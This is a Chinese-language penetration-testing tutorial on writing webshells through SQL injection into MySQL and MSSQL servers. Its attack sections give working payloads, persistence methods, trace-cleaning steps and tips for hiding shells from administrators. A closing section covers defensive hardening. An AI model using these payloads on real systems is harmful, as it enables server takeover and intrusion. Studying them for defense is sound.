1. 项目概述:从SQL注入到系统控制权的跨越
上一篇文章我们聊透了SQL注入的原理、探测和利用,成功拿到了数据库的敏感信息。但很多朋友会问,拿到数据就结束了吗?对于一次完整的渗透测试而言,这往往只是开始。真正的“战果”是获得目标服务器的控制权,也就是我们常说的“拿Shell”。这就像你发现了一栋大楼的门禁漏洞(SQL注入),拿到了门禁卡(数据库权限),但最终目标是进入大楼的核心机房(服务器系统),安装一个随时可以进出的后门(Webshell)。今天,我们就来深入探讨这个关键的“临门一脚”——如何利用已经获取的数据库权限,特别是像MySQL、MSSQL这类支持特定功能的数据库,向服务器写入一个Webshell,从而获得一个图形化或命令行的控制界面。
这个过程的核心思路非常清晰: 利用数据库的“文件写入”功能,将一段包含后门代码的文本,写入到Web服务器能够访问的目录下,使其成为一个可以通过HTTP/HTTPS协议访问的脚本文件。 听起来简单,但每一步都充满了细节和“坑”。你需要精确知道Web目录的绝对路径、拥有足够的数据库写入权限、并且目标数据库配置允许进行文件导出操作。我们将以最常见的MySQL和MSSQL为例,拆解完整的操作流程、可能遇到的障碍及其解决方案,最后站在防御者的角度,给出切实可行的加固方案。无论你是正在学习渗透测试的安全爱好者,还是负责网站安全的运维人员,理解这套完整的攻击链,对于构建有效的防御体系都至关重要。
2. 核心思路与前置条件深度解析
在动手之前,我们必须像手术前评估病人状况一样,评估当前的环境是否支持我们进行“写入Shell”的操作。盲目尝试只会触发警报,一无所获。
2.1 攻击链路的逻辑拆解
利用SQL注入写入Shell,本质上是一个 “权限升级”和“功能滥用” 的过程。
- 应用层漏洞 :首先,我们通过Web应用的SQL注入漏洞,获得了执行任意SQL语句的能力。此时的权限是数据库查询权限,可能很高(如
root、sa),也可能受限。 - 数据库功能探查 :我们利用这个SQL执行权限,去探查数据库本身是否开启了向服务器文件系统写入文件的功能。这并非应用赋予的权限,而是数据库软件自身的功能配置。
- 路径信息收集 :我们需要找到Web应用的根目录在服务器上的绝对路径。因为只有将文件写到这里,我们才能通过浏览器访问到它。
- 后门代码写入 :将一段能执行系统命令或提供Web交互界面的代码(如PHP、ASP、JSP脚本),通过数据库的写文件函数,写入到Web目录。
- 权限维持与拓展 :通过访问这个写入的Webshell,我们获得了在Web服务器进程权限下执行命令的能力。进而可以尝试提权、内网渗透等后续操作。
2.2 必须满足的三大前置条件
这三个条件缺一不可,如同一个三脚凳,少一条腿都会失败。
条件一:数据库用户具备FILE权限(MySQL)或相应高权限(MSSQL)
- MySQL :
FILE权限是执行LOAD_FILE()、INTO OUTFILE和INTO DUMPFILE语句的关键。没有这个权限,数据库无法读写服务器文件系统。可以通过注入SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee LIKE '%当前用户%' AND privilege_type='FILE'来查询。 - MSSQL :通常需要
sa(系统管理员)权限,因为写入文件操作涉及扩展存储过程如xp_cmdshell(需先开启)或sp_OACreate,这些默认只有高权限账户才能执行。 - 实操心得 :在测试中,很多MySQL数据库的
root用户出于安全考虑,在创建时会去掉FILE权限。而MSSQL的sa权限如果被获取,几乎意味着数据库服务器已完全失守。因此,条件一往往是最大的门槛。
条件二:知晓Web目录的绝对路径 这是最容易卡住新手的一步。你写了一个完美的Shell,但写到了 /tmp 或 C:\Windows\Temp 下,Web服务器无法解析,一切白费。获取路径的方法有:
- 利用数据库报错信息 :有时SQL语法错误或类型转换错误会直接返回包含路径的报错信息。
- 利用数据库函数读取Web配置文件 :例如,在MySQL中,可以尝试用
LOAD_FILE()读取/etc/apache2/sites-available/000-default.conf(Apache)、/usr/local/nginx/conf/nginx.conf(Nginx)或网站自身的config.php、web.config文件来寻找路径线索。 - 利用注入点本身 :如果注入点存在于一个能返回文件内容的参数(如
load_file函数本身可利用),可以尝试读取/proc/self/cwd/(Linux下当前进程工作目录)或使用相对路径进行猜测。 - 常见路径枚举 :这是最后的手段。可以尝试写Shell到常见的Web目录,如Linux下的
/var/www/html、/usr/local/apache2/htdocs,Windows下的C:\inetpub\wwwroot、D:\wwwroot等。
条件三:数据库配置允许文件导出(MySQL的secure_file_priv) 这是MySQL 5.5+版本引入的一个重要安全设置。 secure_file_priv 这个系统变量限制了 INTO OUTFILE 和 LOAD_FILE() 能操作的文件目录。
- 值为
NULL:禁止导入导出操作。这是最安全也是最常见的配置。 - 值为空字符串
'':允许导入导出到任何有权限的目录。这是最危险的状态。 - 值为具体目录 :如
/var/lib/mysql-files/,则只能向该目录导入导出。 - 检查方法 :通过注入执行
SHOW VARIABLES LIKE 'secure_file_priv'。 - 应对策略 :如果值为
NULL,常规写Shell方法基本失效,需要寻找其他突破口(如利用日志文件写Shell,后文会讲)。如果值为一个特定目录,你需要判断该目录是否在Web路径下,或者能否通过符号链接、权限配置等方式让Web服务器访问到。
注意 :这三个条件的检查,应在发现注入点并确认可执行任意查询后,立即进行。这能帮你快速判断“写Shell”这条路径是否可行,避免做无用功。
3. 主流数据库写入Webshell实战详解
满足了前置条件,我们就可以开始“烹饪”了。不同数据库的“菜谱”有所不同。
3.1 MySQL数据库写Shell实战
MySQL主要利用 SELECT ... INTO OUTFILE/DUMPFILE 语句。 OUTFILE 会进行转义处理,适合写文本数据; DUMPFILE 则进行原始写入,适合二进制文件,写Webshell时两者通常都可。
场景一:直接写入PHP Webshell 假设我们已通过注入获得 root 权限, secure_file_priv 为空,并探知Web路径为 /var/www/html 。
SELECT '<?php @eval($_POST[\"cmd\"]);?>' INTO OUTFILE '/var/www/html/shell.php'
这行SQL语句执行后,就会在Web根目录下生成一个名为 shell.php 的文件。访问 http://目标IP/shell.php ,使用POST方式传递 cmd=system('whoami'); ,即可执行系统命令并看到返回结果。
场景二:写入包含一句话木马的图片文件(绕过简单过滤) 有时应用会过滤 <?php 等标签。我们可以将代码写入一个 .jpg 文件,并利用文件包含漏洞来执行。
SELECT 0x3C3F70687020406576616C28245F504F53545B22636D64225D293B3F3E INTO DUMPFILE '/var/www/html/uploads/trojan.jpg'
这里使用了十六进制编码 0x3C3F... 来代表 <?php @eval($_POST["cmd"]);?> ,可以绕过一些基于字符串的简单过滤。然后需要寻找一个文件包含漏洞点,例如 index.php?page=uploads/trojan.jpg ,来包含并执行这个图片中的代码。
场景三:利用MySQL日志写Shell(应对secure_file_priv=NULL) 当 secure_file_priv 为 NULL 时,常规写文件方法失效。此时可以尝试劫持MySQL的通用查询日志或慢查询日志的路径,让MySQL自己把我们的后门代码“写”到Web目录。
- 查看日志状态与路径 :
SHOW VARIABLES LIKE 'general_log%'; SHOW VARIABLES LIKE 'slow_query_log%'; - 如果日志未开启,尝试开启并修改路径 (需要
SUPER权限):SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; - 执行一条“伪装”成合法日志的Webshell查询 :
SELECT '<?php phpinfo();?>'; - 此时,
/var/www/html/shell.php日志文件中就会包含我们的PHP代码。由于日志文件通常会被追加写入,文件开头可能会有一些日志头信息,可能导致PHP无法正常解析。因此,这种方法成功后,往往需要配合文件包含漏洞或利用\n等字符进行精确控制才能成功执行。 - 操作完成后务必关闭日志并恢复路径 (清理痕迹):
SET GLOBAL general_log = 'OFF'; SET GLOBAL general_log_file = '原路径'; -- 如果记得的话
实操心得:关于路径中的反斜杠与转义 在Windows系统下写Shell,路径中的反斜杠 \ 需要转义。例如,写Shell到 C:\wwwroot ,SQL语句应为:
SELECT '<?php @eval($_POST[\"cmd\"]);?>' INTO OUTFILE 'C:\\wwwroot\\shell.php'
或者使用正斜杠 / ,在Windows中通常也被接受:
SELECT '<?php @eval($_POST[\"cmd\"]);?>' INTO OUTFILE 'C:/wwwroot/shell.php'
我个人的习惯是,在不确定的情况下,优先尝试正斜杠,因为它兼容性更好。
3.2 Microsoft SQL Server写Shell实战
MSSQL的写Shell方式更为多样,也更依赖于高权限。
方法一:使用xp_cmdshell扩展存储过程 这是最直接的方式, xp_cmdshell 可以直接执行操作系统命令。
- 检查并开启xp_cmdshell (默认关闭):
-- 检查是否开启 EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell'; -- 如果未开启,则开启它 EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; - 直接写入Webshell :
这里使用EXEC xp_cmdshell 'echo ^<?php @eval($_POST^[cmd^])?^> > C:\inetpub\wwwroot\shell.php';^对特殊字符<,>,[,]进行了转义,因为xp_cmdshell的命令是在Windows命令提示符下执行的。也可以使用PowerShell命令,功能更强大:EXEC xp_cmdshell 'powershell -c "Set-Content -Path C:\inetpub\wwwroot\shell.php -Value \''<?php @eval($_POST[\`"cmd\`"]);?>\''"';
方法二:使用sp_OACreate调用文件系统对象 如果 xp_cmdshell 被禁用或删除,可以尝试使用OLE自动化存储过程。
- 启用OLE自动化 (默认禁用):
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; - 创建文件并写入内容 :
这里写了一个ASP的一句话木马。注意路径和脚本语言要与目标服务器环境匹配。DECLARE @fs INT, @file INT; EXEC sp_OACreate 'Scripting.FileSystemObject', @fs OUTPUT; EXEC sp_OACall @fs, 'CreateTextFile', @file OUTPUT, 'C:\inetpub\wwwroot\shell.asp', 1; EXEC sp_OAMethod @file, 'WriteLine', NULL, '<%@ LANGUAGE = VBScript %>'; EXEC sp_OAMethod @file, 'WriteLine', NULL, '<% eval(request("cmd")) %>'; EXEC sp_OADestroy @file; EXEC sp_OADestroy @fs;
方法三:利用差异备份写入Webshell 这是一种非常隐蔽且能绕过某些文件写入限制的方法。它利用了数据库备份功能,将恶意代码注入到备份文件中,再通过恢复备份到Web目录来实现写入。
- 创建一个临时表并写入Webshell代码 :
CREATE TABLE [dbo].[shelltmp] ([cmd] [image]); INSERT INTO [shelltmp] (cmd) VALUES (0x3C2540204C414E4755414745203D20564253637269707420253E0D0A3C25206576616C28726571756573742822636D6422292925323E); -- 这是`<%@ LANGUAGE = VBScript %><% eval(request("cmd"))%>`的十六进制 - 进行完整备份 (假设数据库名为
webdb):BACKUP DATABASE [webdb] TO DISK = 'C:\backup\full.bak' WITH INIT; - 进行差异备份,将包含恶意代码的临时表数据备份到Web目录 :
BACKUP DATABASE [webdb] TO DISK = 'C:\inetpub\wwwroot\shell.asp' WITH DIFFERENTIAL, FORMAT; - 此时,
shell.asp文件虽然是一个数据库备份文件,但其文件头部结构恰好能使IIS服务器将其解析为ASP脚本,从而执行其中的代码。 - 清理痕迹 :
DROP TABLE [shelltmp];
重要提示 :差异备份写Shell的方法对备份文件的大小、数据库版本和Web服务器解析方式有一定要求,成功率并非100%,但因其隐蔽性高,常被用于实际攻击中。
4. 写入后的连接、利用与权限维持
成功写入Webshell文件,只是拿到了一个“哨所”。如何用好这个哨所,并向纵深发展,是下一步的关键。
4.1 Webshell的连接与管理
写入的通常是一句话木马,功能简单。我们需要使用客户端进行连接和管理。
- 中国菜刀/蚁剑/Cobalt Strike :这些是经典的Webshell管理工具。以蚁剑为例,在添加Shell时,填写URL(
http://目标/shell.php)、连接密码(如cmd),并选择正确的脚本类型(PHP、ASP等)和编码器,即可连接。连接成功后,可以获得一个虚拟的文件管理器、终端和数据库管理界面。 - 手动POST请求 :对于简单的命令执行,可以使用浏览器插件(如HackBar)、Postman或
curl命令直接发送POST请求。curl -X POST http://目标/shell.php -d "cmd=whoami"
4.2 权限提升与内网渗透初步
通过Webshell获得的权限,通常是Web服务器进程的权限(如 www-data 、 apache 、 iis apppool\defaultapppool ),权限较低。
- 信息收集 :首先执行
whoami、systeminfo、ipconfig /all或ifconfig、netstat -ano等命令,了解当前用户、系统版本、网络环境、开放端口和连接情况。 - 本地提权 :根据系统版本和补丁情况,寻找本地提权漏洞。例如,在Windows上可以尝试利用烂土豆(Juicy Potato)、PrintSpoofer等;在Linux上可以检查SUID文件、内核漏洞(如DirtyCow)、sudo权限配置等。可以使用上传的提权检测脚本(如LinEnum、WinPEAS)进行自动化检查。
- 内网探测 :如果服务器处于内网,Webshell就成了一个跳板。可以尝试探测内网其他主机的存活情况(
ping扫、arp -a)、端口开放情况,甚至利用这台服务器作为代理,进一步渗透内网。
4.3 权限维持:部署持久化后门
为了防止Webshell被管理员发现并删除,需要部署更隐蔽的持久化后门。
- 计划任务 :在Windows上通过
schtasks,在Linux上通过crontab,定时连接远程C2服务器或执行特定命令。 - 服务创建 :在Windows上创建一个自启动的恶意服务。
- 启动项/注册表 :在Windows注册表
Run键、Linux的/etc/rc.local或用户启动目录下添加后门。 - SSH密钥植入 :对于Linux服务器,如果可以访问到目标用户的
.ssh目录,可以写入自己的公钥到authorized_keys文件中,实现免密登录。 - 内存马 :这是一种更高阶的技术,将后门代码注入到正在运行的Web服务器进程(如Tomcat、Jboss)内存中,不落盘,重启后失效但极难检测。这需要更深入的理解和利用。
踩过的坑:Webshell的隐蔽性 早期喜欢用 shell.php 、 cmd.aspx 这种明显的文件名,很快就会被安全软件或管理员手动扫描发现。后来改为使用随机文件名,或者将代码隐藏在网站的合法文件末尾(使用 >> 追加),甚至利用 .htaccess 或 web.config 文件设置规则,将特定图片文件解析为PHP脚本,隐蔽性大大提升。在实战中,动静越小,存活时间越长。
5. 防御方案:构建纵深防御体系
了解了攻击的全过程,防御的思路就清晰了。防御不是单点布防,而是一个从外到内的纵深体系。
5.1 代码层:杜绝SQL注入漏洞的产生
这是最根本、最有效的防御。
- 使用参数化查询(预编译语句) :这是唯一被证明能彻底防止SQL注入的方法。无论是PHP的PDO、Python的
cursor.execute()、Java的PreparedStatement,其原理都是将用户输入的数据始终视为“数据”,而非“代码的一部分”,从根源上切断了注入的可能性。// 错误示范(拼接语句) $sql = "SELECT * FROM users WHERE id = " . $_GET['id']; // 正确示范(参数化查询) $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]); - 使用ORM框架 :像Laravel的Eloquent、Django的ORM、MyBatis等,它们通常内置了参数化查询,能进一步降低风险。
- 严格的输入验证与过滤 :虽然不能完全依赖,但作为辅助手段。对输入的数据类型、长度、格式进行严格检查(如ID必须是数字)。 切勿 使用简单的字符串替换(如将
'替换为\')来“过滤”,这很容易被绕过。 - 最小权限原则 :为Web应用连接数据库分配一个权限尽可能低的账户。 绝对禁止 使用
root、sa等最高权限账户连接Web应用。这个账户只应拥有特定业务表(甚至只是视图)的SELECT、INSERT、UPDATE、DELETE权限, 坚决不授予FILE、GRANT OPTION、DROP、CREATE等危险权限。
5.2 数据库层:收紧权限与安全配置
即使存在注入点,也要让攻击者“巧妇难为无米之炊”。
- MySQL :
- 将
secure_file_priv设置为NULL或一个特定的、非Web可访问的目录。这是防止写Shell最重要的配置。 - 移除数据库用户的
FILE权限:REVOKE FILE ON *.* FROM 'webuser'@'%'; - 定期审计数据库用户及其权限。
- 将
- MSSQL :
- 禁用
xp_cmdshell:EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;考虑直接删除此扩展存储过程。 - 禁用
Ole Automation Procedures:EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE; - 避免使用
sa账户运行MSSQL服务,使用低权限的域账户或本地账户。 - 遵循最小权限原则,为每个应用创建独立的数据库用户,并赋予最小必要权限。
- 禁用
- 通用 :
- 修改数据库默认端口(如MySQL的3306,MSSQL的1433)。
- 限制数据库服务器的可访问IP,只允许Web服务器IP连接。
5.3 系统与运维层:加固服务器环境
- Web目录权限控制 :确保Web目录(如
/var/www/html)的写入权限仅限Web服务器进程用户。理想情况下,Web目录应只有读和执行权限,上传目录单独配置,且上传的文件不应有执行权限。 - 定期更新与补丁 :及时更新操作系统、Web服务器(Apache/Nginx/IIS)、数据库及编程语言(PHP/ASP.NET)的安全补丁。
- 部署Web应用防火墙 :WAF可以在网络层面拦截常见的SQL注入攻击payload,为修复漏洞争取时间。但WAF不是万能的,可能存在绕过方法,不能替代安全的代码。
- 日志审计与监控 :开启并集中管理数据库审计日志、Web服务器访问日志和错误日志。监控异常查询(如包含
INTO OUTFILE、xp_cmdshell)、异常文件创建行为(如在Web目录下创建.php、.jsp文件)。使用文件完整性监控工具,对Web目录下的文件变动进行告警。 - 安全扫描与渗透测试 :定期对自身的Web应用进行自动化漏洞扫描和手动渗透测试,主动发现并修复SQL注入等安全漏洞。
防御是一个持续的过程,而非一劳永逸的设置。通过代码安全、数据库加固、系统防护和持续监控构建的纵深防御体系,能极大增加攻击者的成本,有效保护你的系统安全。理解攻击,是为了更好的防御。希望这两篇文章能为你打开Web安全实战与防御思路的一扇窗。

4317

被折叠的 条评论
为什么被折叠?



